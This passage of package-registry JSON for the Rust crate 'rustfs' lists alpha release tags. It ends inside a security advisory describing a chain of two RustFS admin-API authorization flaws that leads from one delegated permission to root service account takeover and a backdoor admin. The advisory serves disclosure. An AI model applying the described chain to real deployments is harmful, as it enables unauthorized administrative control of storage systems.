1.0.0-alpha.37","sha":"371119f7336b74fdbcee37a8fcccb9d91c276f47","kind":"tag","published_at":"2025-07-24T09:02:12.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.37","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.37/manifests"},{"name":"1.0.0-alpha.36","sha":"affe27298c4c7c443608341d1baeba8bf9c659ec","kind":"commit","published_at":"2025-07-22T15:55:57.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.36","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.36/manifests"},{"name":"1.0.0-alpha.35","sha":"bebd78fbbb57edab6454a2b82fe49c006a708d49","kind":"tag","published_at":"2025-07-21T09:20:45.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.35","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.35/manifests"},{"name":"1.0.0-alpha.34","sha":"3f095e75cb1276adf47a05472c8cc608eaa51504","kind":"tag","published_at":"2025-07-21T08:08:22.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.34","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.34/manifests"},{"name":"1.0.0-alpha.33","sha":"051ea7786f4118fa3050257ffc6ac9b53cc0035d","kind":"commit","published_at":"2025-07-19T10:21:31.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.33","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.33/manifests"},{"name":"1.0.0-alpha.32","sha":"42b645e355630464073a3cce8ee3723adc48fbb4","kind":"commit","published_at":"2025-07-19T07:50:15.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.32","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.32/manifests"},{"name":"1.0.0-alpha.31","sha":"f27ee96014b8d73314f4b2807b881fb983df7677","kind":"commit","published_at":"2025-07-19T03:48:46.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.31","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.31/manifests"},{"name":"1.0.0-alpha.30","sha":"20cd117aa683e50b9d0dea1e4af3c649b36664ef","kind":"tag","published_at":"2025-07-18T08:04:16.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.30","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.30/manifests"},{"name":"1.0.0-alpha.29","sha":"20cd117aa683e50b9d0dea1e4af3c649b36664ef","kind":"tag","published_at":"2025-07-18T08:02:22.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.29","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.29/manifests"},{"name":"1.0.0-alpha.28","sha":"e67980ff3c8b91a4526033140776f9e6c5af1b13","kind":"tag","published_at":"2025-07-17T15:31:52.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.28","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.28/manifests"},{"name":"1.0.0-alpha.27","sha":"96760bba5a78a1a655eb6b2b7e75c3aacf214176","kind":"tag","published_at":"2025-07-17T15:21:30.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.27","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.27/manifests"},{"name":"1.0.0-alpha.26","sha":"2501d7d24127b8af18e6b2caed3ba09438246bc0","kind":"commit","published_at":"2025-07-17T00:13:34.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.26","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.26/manifests"},{"name":"1.0.0-alpha.25","sha":"55b84262b5054805a46ee5cfae320c8feb054371","kind":"commit","published_at":"2025-07-17T00:01:33.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.25","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.25/manifests"},{"name":"1.0.0-alpha.24","sha":"ce4252eb1ab0ba18ead37c71fdf6332593b35226","kind":"commit","published_at":"2025-07-16T23:46:54.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.24","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.24/manifests"},{"name":"1.0.0-alpha.23","sha":"db708917b413443219b250f93e53de07682d9e5b","kind":"commit","published_at":"2025-07-16T23:30:13.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.23","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.23/manifests"},{"name":"1.0.0-alpha.22","sha":"550c225b79ecadf6f66d41d0ac8b167e072e1e79","kind":"commit","published_at":"2025-07-16T23:07:02.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.22","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.22/manifests"},{"name":"1.0.0-alpha.21","sha":"b4f87a4fee3ee0d64c753bb941241b8a75fed137","kind":"commit","published_at":"2025-07-16T22:06:40.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.21","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.21/manifests"},{"name":"1.0.0-alpha.20","sha":"e5d17f538265a455be416ca29851dc12c32bb3bf","kind":"tag","published_at":"2025-07-16T10:06:02.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.20","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.20/manifests"},{"name":"1.0.0-alpha.19","sha":"4c1fc9317e3974e2eca337ef8aed8cfd3a18432c","kind":"tag","published_at":"2025-07-15T10:20:33.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.19","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.19/manifests"},{"name":"1.0.0-alpha.18","sha":"6267872ddb1df9aaf55aa938bc12a215f16fbca5","kind":"commit","published_at":"2025-07-11T15:01:36.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.18","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.18/manifests"},{"name":"1.0.0-alpha.17","sha":"646070ae7ace982acf00e80d8673a05750cecf1b","kind":"commit","published_at":"2025-07-10T23:38:42.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.17","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.17/manifests"},{"name":"1.0.0-alpha.16","sha":"2525b6665895a0e275d1ac9fd1c64288c6302acf","kind":"commit","published_at":"2025-07-10T15:50:46.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.16","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.16/manifests"},{"name":"1.0.0-alpha.15","sha":"aefd894fc2731923dc8f1c2d1c55de2dbe01a420","kind":"commit","published_at":"2025-07-10T15:49:14.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.15","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.15/manifests"},{"name":"1.0.0-alpha.14","sha":"1e1d4646a2ec2d69c8c194bf64b962de319544b7","kind":"commit","published_at":"2025-07-10T15:41:40.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.14","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.14/manifests"},{"name":"1.0.0-alpha.13","sha":"b97845fffdae24affedc2e95153da7bf75049a95","kind":"commit","published_at":"2025-07-10T15:32:02.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.13","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.13/manifests"},{"name":"1.0.0-alpha.12","sha":"7d5fc870027d272874897536894ddf1199b011ab","kind":"commit","published_at":"2025-07-09T15:07:10.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.12","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.12/manifests"},{"name":"1.0.0-alpha.11","sha":"13130e9dd48b2b835dd2f2fc1ecaa388330537c6","kind":"commit","published_at":"2025-07-09T14:36:37.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.11","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.11/manifests"},{"name":"1.0.0-alpha.10","sha":"1061ce11a3ccd5e23553d12f3cef2bb5e745bcb1","kind":"commit","published_at":"2025-07-09T13:37:38.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.10","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.10/manifests"},{"name":"1.0.0-alpha.9","sha":"78b248763997dd7df015caa8d944403e23328fca","kind":"tag","published_at":"2025-07-09T11:58:06.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.9","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.9/manifests"},{"name":"1.0.0-alpha.8","sha":"c90247544329a6d4b345401423e09a80739ef8ef","kind":"commit","published_at":"2025-07-09T07:21:23.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.8","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.8/manifests"},{"name":"1.0.0-alpha.7","sha":"e033b019f6eb65802944f8ec84c9f17c5f7cd042","kind":"tag","published_at":"2025-07-09T06:36:30.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.7","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.7/manifests"},{"name":"1.0.0-alpha.6","sha":"874d486b1e953b13c40ebdc99bb196d5c758da1e","kind":"tag","published_at":"2025-07-09T02:32:00.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.6","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.6/manifests"},{"name":"1.0.0-alpha.5","sha":"21516251b05273ab5ad54ec460d07c169c5262c3","kind":"tag","published_at":"2025-07-09T02:10:44.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.5","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.5/manifests"},{"name":"1.0.0-alpha.4","sha":"713b322f993ca2bd29a7c65cba0fec1610685597","kind":"commit","published_at":"2025-07-08T14:49:35.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.4","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.4/manifests"},{"name":"1.0.0-alpha.3","sha":"49f480d3460d2afbaef0462b9028d996b7a0225c","kind":"commit","published_at":"2025-07-08T12:21:11.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.3","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.3/manifests"},{"name":"1.0.0-alpha.2","sha":"9862677fcface46b6ad73a7d4e9da68f8e80671f","kind":"commit","published_at":"2025-07-07T15:15:40.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.2","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.2/manifests"},{"name":"1.0.0-alpha.1","sha":"6a5fbe7ef112c77cc285dcdacfffbee28a76e4a9","kind":"commit","published_at":"2025-07-02T14:56:55.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.1","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.1/manifests"}]},"repo_metadata_updated_at":"2026-10-13T12:19:43.809Z","dependent_packages_count":0,"downloads":1283,"downloads_period":"total","dependent_repos_count":0,"rankings":{"downloads":94.70639341748863,"dependent_repos_count":21.038994224970615,"dependent_packages_count":27.859150610722132,"stargazers_count":11.755268872142036,"forks_count":19.026695618852983,"docker_downloads_count":null,"average":34.87730054883528},"purl":"pkg:cargo/rustfs","advisories":[{"uuid":"GSA_kwCzR0hTQS1tbTJxLXFjbXgtZ3c0d84ABWM4","url":"https://github.com/advisories/GHSA-mm2q-qcmx-gw4w","title":"RustFS: ListServiceAccount authorizes against wrong admin action, enabling cross-user enumeration and root service account takeover","description":"## Summary\n\n`ListServiceAccount` (`GET /rustfs/admin/v3/list-service-accounts?user=\u003cother\u003e`) authorizes cross-user requests against `UpdateServiceAccountAdminAction` instead of `ListServiceAccountsAdminAction` at `rustfs/src/admin/handlers/service_account.rs:936`. The handler accepts the **wrong** admin action and rejects the **correct** one:\n\n- A user granted only `admin:UpdateServiceAccount` enumerates every service account in the cluster, including the root user's (HTTP 200, full metadata).\n- A user granted only `admin:ListServiceAccounts` — the permission name every IAM document treats as \"list service accounts\" — receives HTTP 403 AccessDenied on the same request.\n\nBecause service account access keys act as the identifier a `UpdateServiceAccount` holder needs to rotate a secret, and the `UpdateServiceAccount` handler at `rustfs/src/admin/handlers/service_account.rs:489` performs no ownership check on the target access key, leaking those access keys lets a delegated \"service account updater\" role overwrite `root-sa-1`'s secret, authenticate as the root user's service account, and create a persistent backdoor admin with `admin:*` + `s3:*`. Proven live end-to-end against `rustfs/rustfs:latest` (1.0.0-alpha.91, revision `d4ea14c2`) — the same revision is byte-identical on current `origin/main`.\n\n## Vulnerability Details\n\n- **Package:** `rustfs` (binary crate `rustfs`)\n- **Affected versions:** From `0a2411f` (the initial `service_account.rs` check-in on 2026-03-15) through current HEAD `90e584a`. The vulnerable line has never been touched.\n- **Fixed versions:** None\n- **Vulnerable file:** `rustfs/src/admin/handlers/service_account.rs`\n- **Vulnerable route:** `GET /rustfs/admin/v3/list-service-accounts?user=\u003cother_user\u003e` (`ListServiceAccount::call`)\n- **CWE:** CWE-863 (Incorrect Authorization), chained with CWE-620 (Unverified Password Change) to reach CWE-269 (Improper Privilege Management)\n- **CVSS (demonstrated chain to full admin):** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **10.0 Critical**. If scored as Scope:Unchanged the vector is `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` = **8.8 High**. The list bug alone (no chain) is `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` = **6.5 Medium** and is what a maintainer would rate it if the Update ownership gap is out of scope for this report.\n\n## Two Distinct Vulnerabilities\n\nThis report documents two bugs that chain to full RustFS administrative takeover. Each is independently fixable and independently a security issue:\n\n**Vulnerability A — Wrong action constant in ListServiceAccount (CWE-863)**\n`ListServiceAccount::call` at line 936 checks `UpdateServiceAccountAdminAction` instead of `ListServiceAccountsAdminAction`. This is a copy-paste typo: the three sibling list handlers (lines 658, 799, 1095) all use the correct constant. The result is a permission inversion — the correct permission (`admin:ListServiceAccounts`) is rejected, and the wrong one (`admin:UpdateServiceAccount`) is accepted. Independently, this is a Medium-severity cross-user information disclosure.\n\n**Vulnerability B — Missing ownership check in UpdateServiceAccount (CWE-620)**\n`UpdateServiceAccount::call` at lines 489-614 authorizes on possession of `admin:UpdateServiceAccount` but never verifies the target `?accessKey=` belongs to the caller or the caller's parent. Lines 522-525 contain a commented-out `get_service_account` call that would have loaded the target for such a check. This means any holder of `admin:UpdateServiceAccount` can overwrite any service account's secret in the cluster, regardless of ownership.\n\n**Chain (A + B) — Full RustFS administrative takeover**\nVulnerability A leaks every service account's access key (including the root administrator's). Vulnerability B allows overwriting any SA's secret given its access key. Together: a user with a single permission (`admin:UpdateServiceAccount`) enumerates the root user's SA access key via 